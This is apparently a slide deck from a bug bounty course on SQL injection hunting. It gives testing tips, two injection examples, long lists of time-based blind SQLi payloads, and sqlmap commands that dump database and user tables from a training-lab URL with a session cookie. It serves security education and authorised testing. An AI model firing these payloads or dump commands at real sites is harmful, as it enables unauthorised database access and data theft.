



# SQLi Bug Hunting Methodology

Become a Successful  
Bug Bounty Hunter



## SQLi – Basics

- Ability to interact with the backend DB
- Old vulnerability
- Same places like XSS
- These days almost all SQLi's are blind



## SQLi – Approach

- Test where you suspect DB interaction
- Use sleep command where possible
- Test with `'`
- Test with `"`
- 500 error indicates potential SQLi
- Test with different CRUD HTTP Verbs  
GET, POST, PUT, DELETE etc.





## SQLi – Sleep

- Testing for sleep() doesn't cause harm
- Testing for sleep() often bypasses WAF
- Typical payloads:
  - ' or sleep(15) and 1=1#
  - ' or sleep(15)#
  - ' union select sleep(15),null#



## SQLi – Example

/query.php with the parameter ?name

```
$sql = "SELECT email FROM users WHERE  
firstName='$firstName';
```

/query.pp?name=martin' OR 1=1

```
$sql = "SELECT email FROM users WHERE  
firstName='martin' OR 1=1";
```



## SQLi – Example

?user\_id=1338-1

```
$sql = "UPDATE users SET name='test'  
WHERE id='1338-1'";
```

will be executed as being user id 1337.



# SQLi – Payloads

```
SLEEP(20)#
SLEEP(20)--
SLEEP(20)="
SLEEP(20)='
\"
&& SLEEP(20)
&& SLEEP(20)--
&& SLEEP(20)#
' AND SLEEP(20) AND '1
'&& SLEEP(20) && '1
ORDER BY SLEEP(20)
ORDER BY SLEEP(20)--
ORDER BY SLEEP(20)#
+benchmark(3200,SHA1(1))+
+ SLEEP(10) + '
or SLEEP(20)
or SLEEP(20)#
or SLEEP(20)--
or SLEEP(20)="
or SLEEP(20)='
1 or SLEEP(20)#
" or SLEEP(20)#
' or SLEEP(20)#
" or SLEEP(20)="
' or SLEEP(20)='
1) or SLEEP(20)#
") or SLEEP(20)="
') or SLEEP(20)='
1)) or SLEEP(20)#
")) or SLEEP(20)="
')) or SLEEP(20)='
```





# SQLi – Payloads

```
AND (SELECT * FROM (SELECT(SLEEP(20)))AND '1'='1')
AND (SELECT * FROM (SELECT(SLEEP(20)))AND '%'='')
AND (SELECT * FROM (SELECT(SLEEP(20)))
AND (SELECT * FROM (SELECT(SLEEP(20)))--
AND (SELECT * FROM (SELECT(SLEEP(20)))#
pg_SLEEP(20)--
or pg_SLEEP(20)
or pg_SLEEP(20)--
or pg_SLEEP(20)#
1 or pg_SLEEP(20)--
" or pg_SLEEP(20)--
' or pg_SLEEP(20)--
1) or pg_SLEEP(20)--
") or pg_SLEEP(20)--
') or pg_SLEEP(20)--
1)) or pg_SLEEP(20)--
")) or pg_SLEEP(20)--
')) or pg_SLEEP(20)--
);waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
'));waitfor delay '0:0:5'--
"));waitfor delay '0:0:5'--
benchmark(1000000,MD5(1))#
```





# SQLi – Payloads

```
1 or benchmark(10000000,MD5(1))#  
" or benchmark(10000000,MD5(1))#  
' or benchmark(10000000,MD5(1))#  
1) or benchmark(10000000,MD5(1))#  
" ) or benchmark(10000000,MD5(1))#  
' ) or benchmark(10000000,MD5(1))#  
1)) or benchmark(10000000,MD5(1))#  
" )) or benchmark(10000000,MD5(1))#  
' )) or benchmark(10000000,MD5(1))#  
waitfor delay '00:00:05'  
waitfor delay '00:00:05'--  
waitfor delay '00:00:05'#  
benchmark(50000000,MD5(1))  
benchmark(50000000,MD5(1))--  
benchmark(50000000,MD5(1))#  
or benchmark(50000000,MD5(1))  
or benchmark(50000000,MD5(1))--  
or benchmark(50000000,MD5(1))#
```



## SQLi - sqlmap

```
sqlmap -u 'https://0a8a00b904e2f920c1e83c0e00f50087.web-security-academy.net/filter?category=Gifts' --  
cookie='session=lHoADdQGs1pHpfTCSiu5nTtyDnnQFWxv' --dbs --  
level 2
```

```
sqlmap -u 'https://0a8a00b904e2f920c1e83c0e00f50087.web-security-academy.net/filter?category=Gifts' --  
cookie='session=lHoADdQGs1pHpfTCSiu5nTtyDnnQFWxv' --  
dbms=postgresql --dump --threads=5 --level 2
```

```
sqlmap -u 'https://0a8a00b904e2f920c1e83c0e00f50087.web-security-academy.net/filter?category=Gifts' --  
cookie='session=lHoADdQGs1pHpfTCSiu5nTtyDnnQFWxv' --  
dbms=postgresql -D public -T users_glgvzh --dump --level 2
```



## SQLi – sqlmap

for post parameters use:

```
sqlmap -r burp.txt --level 5 --risk 3 -batch -p 'sort-by'
```

```
sqlmap -r burp.txt --level 5 --risk 3 -batch -p 'sort-by' --dump -D  
public -T users
```





Thank You!

Become a Successful  
Bug Bounty Hunter